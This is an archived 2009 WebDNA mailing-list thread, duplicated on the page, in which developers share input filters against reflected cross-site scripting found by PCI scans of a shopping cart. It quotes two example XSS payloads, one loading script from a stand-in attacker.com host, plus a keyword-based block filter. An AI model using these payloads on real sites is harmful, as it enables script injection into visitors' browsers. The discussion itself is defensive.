Re: [WebDNA] PCI Vulnerability testing

This WebDNA talk-list message is from

2009


It keeps the original formatting.
numero = 102414
interpreted = N
texte = This is a multi-part message in MIME format. --------------040503080005070306090204 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable I made it the first line of my /admin/prefs.inc file. That is the first include file is called called on every page on my site. So basically, this filter executes before I even bother to waste CPU=20 ticks on reading the Global Prefs on every page. WARNING: You will need to test every page you put this code on. The=20 [url][name][/url]=3D[input][value][/input] will have unexpected results i= f=20 you forget that it's there. You might need to rebuild some of your code=20 too. But I've not has a cross scripting error report from McAfee in=20 several months Matthew A Perosi JewelerWebsites.com ------------------------------by Psi Prime------- Senior Web Developer 323 Union Blvd. Totowa, NJ 07512 Pre-Sales: 888.872.0274 Service: 973.413.8213 Training: 973.413.8214 Fax: 973.413.8217 http://www.jewelerwebsites.com http://en.wikipedia.org/wiki/Psi_Prime%2C_Inc http://www.psiprime.com Jeffrey Jones wrote: > Thanks Matthew, > > So, do you place this code on every page, i.e. in a header include file= ? > > -Jeff > > On Apr 13, 2009, at 1:48 PM, Psi Prime, Matthew A Perosi wrote: > >> I use the index.html page sometimes, and the error.html page other tim= es. >> If they are hacking I prefer to just send them to a real page than a=20 >> custom 404 page. It's probably a bot anyway, but if it's a real=20 >> person I don't want them to have the satisfaction of knowing they are=20 >> successful in any way. >> >> According to HackerSafe (now McAfee) the >>>>>>>> This will exploit the reflected cross site scripting vulnerabili= ty shown >>>>>>>> before, executing the javascript code stored on the attacker's w= eb server as >>>>>>>> if it was originating from the victim web site, www.example.com. >>>>>>>> A complete test will include instantiating a variable with sever= al attack >>>>>>>> vectors (Check Fuzz vectors appendix and Encoded injection appen= dix). >>>>>>>> Finally, analyzing answers can get complex. A simple way to do t= his is to >>>>>>>> use code that pops up a dialog, as in our example. This typicall= y indicates >>>>>>>> that an attacker could execute arbitrary JavaScript of his choic= e in the >>>>>>>> visitors' browsers. >>>>>>>> =20 >>>>>> --------------------------------------------------------- >>>>>> This message is sent to you because you are subscribed to >>>>>> the mailing list . >>>>>> To unsubscribe, E-mail to: >>>>>> archives: http://mail.webdna.us/list/talk@webdna.us >>>>>> old archives: http://dev.webdna.us/TalkListArchive/ >>>>>> . >>>>>> >>>>>> =20 >>>>> =20 >>> > --------------040503080005070306090204 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit I made it the first line of my /admin/prefs.inc file.
That is the first include file is called called on every page on my site.
So basically, this filter executes before I even bother to waste CPU ticks on reading the Global Prefs on every page.

WARNING: You will need to test every page you put this code on.  The [url][name][/url]=[input][value][/input] will have unexpected results if you forget that it's there.  You might need to rebuild some of your code too.  But I've not has a cross scripting error report from McAfee in several months
Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.comhttp://en.wikipedia.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com


Jeffrey Jones wrote:
Thanks Matthew,

So, do you place this code on every page, i.e. in a header include file?

-Jeff

On Apr 13, 2009, at 1:48 PM, Psi Prime, Matthew A Perosi wrote:

I use the index.html page sometimes, and the error.html page other times.
If they are hacking I prefer to just send them to a real page than a custom 404 page.  It's probably a bot anyway, but if it's a real person I don't want them to have the satisfaction of knowing they are successful in any way.

According to HackerSafe (now McAfee) the <script> and <iframe> attacks are the most common.  So I filter and redirect those quickly and any other attempted hacks are nullified.

Now that I look at this again I see that the [cart] could probably be grepped for characters, leaving only numbers.  But the simple test of >18 works, but not perfectly... in that I sometimes see cart files in the ShoppingCarts directory that have character names.
Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.comhttp://en.wikipedia.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com


Jeffrey Jones wrote:
Hi Matthew,

Any specific reason you redirect to the index page?

-Jeff

On Apr 13, 2009, at 12:35 PM, Psi Prime, Matthew A Perosi wrote:

This seems to work for me.
It seems to stand up to the attacks from McAfee Secure

[formvariables]
[showif [url][name][/url]^script>][redirect /index.html][/showif]
[showif [url][name][/url]^iframe][redirect /index.html][/showif]
[text][url][name][/url]=[input][value][/input][/text]
[/formvariables]
[showif [countchars][cart][/countchars]>18][redirect /index.html][/showif]

Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.comhttp://en.wikipedia.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com


Marc Thompson wrote: 
You are correct Willian NEVER trust user input.What I always do is simply remove any characters I don't recognize using grep.  All user input is "cleaned" before taking any action on itwhatsoever.For [cart] values:[GetChars start=1&end=20][Grepsearch=[^0-9]&replace=][value][/Grep][/GetChars]For other text values:[GetChars start=1&end=100][Grep search=[^,-.%@_A-Za-z0-9ÜüÄäÖö]&replace=][value][/Grep][/GetChars]MarcWilliam DeVaul wrote:  
I have no idea about a server level fix.  This goes to never trustinguser input.  I thought it should always be surrounded by [raw] and[url] to prevent this.What do others do?BillOn Mon, Apr 13, 2009 at 2:08 PM, Bob Minor <bob@cybermill.com> wrote:    
What are people doing for the following type of attacks?http://www.example.com/shoppingcart.tpl?cart="<script>alert123</script>"I assume you could just do a [removehtml][cart][/removehtml]I know you can do something like that at the code level but is theresomething that can be done at the server level or does the new versioncicadae have built in protections?More info on the attack      
http://www.example.com/?var=<SCRIPT%20a=">"%20SRC="http://www.attacker.com/xss.js"></SCRIPT>This will exploit the reflected cross site scripting vulnerability shownbefore, executing the javascript code stored on the attacker's web server asif it was originating from the victim web site, www.example.com.A complete test will include instantiating a variable with several attackvectors (Check Fuzz vectors appendix and Encoded injection appendix).Finally, analyzing answers can get complex. A simple way to do this is touse code that pops up a dialog, as in our example. This typically indicatesthat an attacker could execute arbitrary JavaScript of his choice in thevisitors' browsers.        
---------------------------------------------------------This message is sent to you because you are subscribed tothe mailing list <talk@webdna.us>.To unsubscribe, E-mail to: <talk-leave@webdna.us>archives: http://mail.webdna.us/list/talk@webdna.usold archives: http://dev.webdna.us/TalkListArchive/.


--------------040503080005070306090204-- Associated Messages, from the most recent to the oldest:

    
  1. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  2. Re: [WebDNA] PCI Vulnerability testing (Jeffrey Jones 2009)
  3. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  4. Re: [WebDNA] PCI Vulnerability testing (William DeVaul 2009)
  5. Re: [WebDNA] PCI Vulnerability testing (Jeffrey Jones 2009)
  6. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  7. Re: [WebDNA] PCI Vulnerability testing (Govinda 2009)
  8. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  9. Re: [WebDNA] PCI Vulnerability testing (Govinda 2009)
  10. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  11. Re: [WebDNA] PCI Vulnerability testing (William DeVaul 2009)
  12. Re: [WebDNA] PCI Vulnerability testing (Govinda 2009)
  13. Re: [WebDNA] PCI Vulnerability testing (Marc Thompson 2009)
  14. Re: [WebDNA] PCI Vulnerability testing (William DeVaul 2009)
  15. [WebDNA] PCI Vulnerability testing (Bob Minor 2009)
This is a multi-part message in MIME format. --------------040503080005070306090204 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable I made it the first line of my /admin/prefs.inc file. That is the first include file is called called on every page on my site. So basically, this filter executes before I even bother to waste CPU=20 ticks on reading the Global Prefs on every page. WARNING: You will need to test every page you put this code on. The=20 [url][name][/url]=3D[input][value][/input] will have unexpected results i= f=20 you forget that it's there. You might need to rebuild some of your code=20 too. But I've not has a cross scripting error report from McAfee in=20 several months Matthew A Perosi JewelerWebsites.com ------------------------------by Psi Prime------- Senior Web Developer 323 Union Blvd. Totowa, NJ 07512 Pre-Sales: 888.872.0274 Service: 973.413.8213 Training: 973.413.8214 Fax: 973.413.8217 http://www.jewelerwebsites.com http://en.wikipedia.org/wiki/Psi_Prime%2C_Inc http://www.psiprime.com Jeffrey Jones wrote: > Thanks Matthew, > > So, do you place this code on every page, i.e. in a header include file= ? > > -Jeff > > On Apr 13, 2009, at 1:48 PM, Psi Prime, Matthew A Perosi wrote: > >> I use the index.html page sometimes, and the error.html page other tim= es. >> If they are hacking I prefer to just send them to a real page than a=20 >> custom 404 page. It's probably a bot anyway, but if it's a real=20 >> person I don't want them to have the satisfaction of knowing they are=20 >> successful in any way. >> >> According to HackerSafe (now McAfee) the >>>>>>>> This will exploit the reflected cross site scripting vulnerabili= ty shown >>>>>>>> before, executing the javascript code stored on the attacker's w= eb server as >>>>>>>> if it was originating from the victim web site, www.example.com. >>>>>>>> A complete test will include instantiating a variable with sever= al attack >>>>>>>> vectors (Check Fuzz vectors appendix and Encoded injection appen= dix). >>>>>>>> Finally, analyzing answers can get complex. A simple way to do t= his is to >>>>>>>> use code that pops up a dialog, as in our example. This typicall= y indicates >>>>>>>> that an attacker could execute arbitrary JavaScript of his choic= e in the >>>>>>>> visitors' browsers. >>>>>>>> =20 >>>>>> --------------------------------------------------------- >>>>>> This message is sent to you because you are subscribed to >>>>>> the mailing list . >>>>>> To unsubscribe, E-mail to: >>>>>> archives: http://mail.webdna.us/list/talk@webdna.us >>>>>> old archives: http://dev.webdna.us/TalkListArchive/ >>>>>> . >>>>>> >>>>>> =20 >>>>> =20 >>> > --------------040503080005070306090204 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit I made it the first line of my /admin/prefs.inc file.
That is the first include file is called called on every page on my site.
So basically, this filter executes before I even bother to waste CPU ticks on reading the Global Prefs on every page.

WARNING: You will need to test every page you put this code on.  The [url][name][/url]=[input][value][/input] will have unexpected results if you forget that it's there.  You might need to rebuild some of your code too.  But I've not has a cross scripting error report from McAfee in several months
Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.comhttp://en.wikipedia.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com


Jeffrey Jones wrote:
Thanks Matthew,

So, do you place this code on every page, i.e. in a header include file?

-Jeff

On Apr 13, 2009, at 1:48 PM, Psi Prime, Matthew A Perosi wrote:

I use the index.html page sometimes, and the error.html page other times.
If they are hacking I prefer to just send them to a real page than a custom 404 page.  It's probably a bot anyway, but if it's a real person I don't want them to have the satisfaction of knowing they are successful in any way.

According to HackerSafe (now McAfee) the <script> and <iframe> attacks are the most common.  So I filter and redirect those quickly and any other attempted hacks are nullified.

Now that I look at this again I see that the [cart] could probably be grepped for characters, leaving only numbers.  But the simple test of >18 works, but not perfectly... in that I sometimes see cart files in the ShoppingCarts directory that have character names.
Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.comhttp://en.wikipedia.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com


Jeffrey Jones wrote:
Hi Matthew,

Any specific reason you redirect to the index page?

-Jeff

On Apr 13, 2009, at 12:35 PM, Psi Prime, Matthew A Perosi wrote:

This seems to work for me.
It seems to stand up to the attacks from McAfee Secure

[formvariables]
[showif [url][name][/url]^script>][redirect /index.html][/showif]
[showif [url][name][/url]^iframe][redirect /index.html][/showif]
[text][url][name][/url]=[input][value][/input][/text]
[/formvariables]
[showif [countchars][cart][/countchars]>18][redirect /index.html][/showif]

Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.comhttp://en.wikipedia.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com


Marc Thompson wrote: 
You are correct Willian NEVER trust user input.What I always do is simply remove any characters I don't recognize using grep.  All user input is "cleaned" before taking any action on itwhatsoever.For [cart] values:[GetChars start=1&end=20][Grepsearch=[^0-9]&replace=][value][/Grep][/GetChars]For other text values:[GetChars start=1&end=100][Grep search=[^,-.%@_A-Za-z0-9ÜüÄäÖö]&replace=][value][/Grep][/GetChars]MarcWilliam DeVaul wrote:  
I have no idea about a server level fix.  This goes to never trustinguser input.  I thought it should always be surrounded by [raw] and[url] to prevent this.What do others do?BillOn Mon, Apr 13, 2009 at 2:08 PM, Bob Minor <bob@cybermill.com> wrote:    
What are people doing for the following type of attacks?http://www.example.com/shoppingcart.tpl?cart="<script>alert123</script>"I assume you could just do a [removehtml][cart][/removehtml]I know you can do something like that at the code level but is theresomething that can be done at the server level or does the new versioncicadae have built in protections?More info on the attack      
http://www.example.com/?var=<SCRIPT%20a=">"%20SRC="http://www.attacker.com/xss.js"></SCRIPT>This will exploit the reflected cross site scripting vulnerability shownbefore, executing the javascript code stored on the attacker's web server asif it was originating from the victim web site, www.example.com.A complete test will include instantiating a variable with several attackvectors (Check Fuzz vectors appendix and Encoded injection appendix).Finally, analyzing answers can get complex. A simple way to do this is touse code that pops up a dialog, as in our example. This typically indicatesthat an attacker could execute arbitrary JavaScript of his choice in thevisitors' browsers.        
---------------------------------------------------------This message is sent to you because you are subscribed tothe mailing list <talk@webdna.us>.To unsubscribe, E-mail to: <talk-leave@webdna.us>archives: http://mail.webdna.us/list/talk@webdna.usold archives: http://dev.webdna.us/TalkListArchive/.


--------------040503080005070306090204-- "Psi Prime, Matthew A Perosi "

DOWNLOAD WEBDNA NOW!

Top Articles:

Talk List

The WebDNA community talk-list is the best place to get some help: several hundred extremely proficient programmers with an excellent knowledge of WebDNA and an excellent spirit will deliver all the tips and tricks you can imagine...

Related Readings:

Forms Search Questions (1997) Formulas.db + Users.db (1997) append=T problem (1998) Extra equals signs with IE? (More debugging questions...) (1997) Me know logical no need (2002) Grouping search fields, etc. (1997) WebCat2b12--[searchstring] bug (1997) Converting Quotes in Javascript (2001) price carry over (1997) sort links (2002) Meet your competition (2000) WCS Newbie question (1997) Error & Problem (1997) [ShowIf] and empty fields (1997) really wierd date stuff on NT (1997) Customer - again (1998) Re[2]: Emailed problem (2000) Extracting a filename (2004) Quick Question (1997) WebCat & WebTen (1997)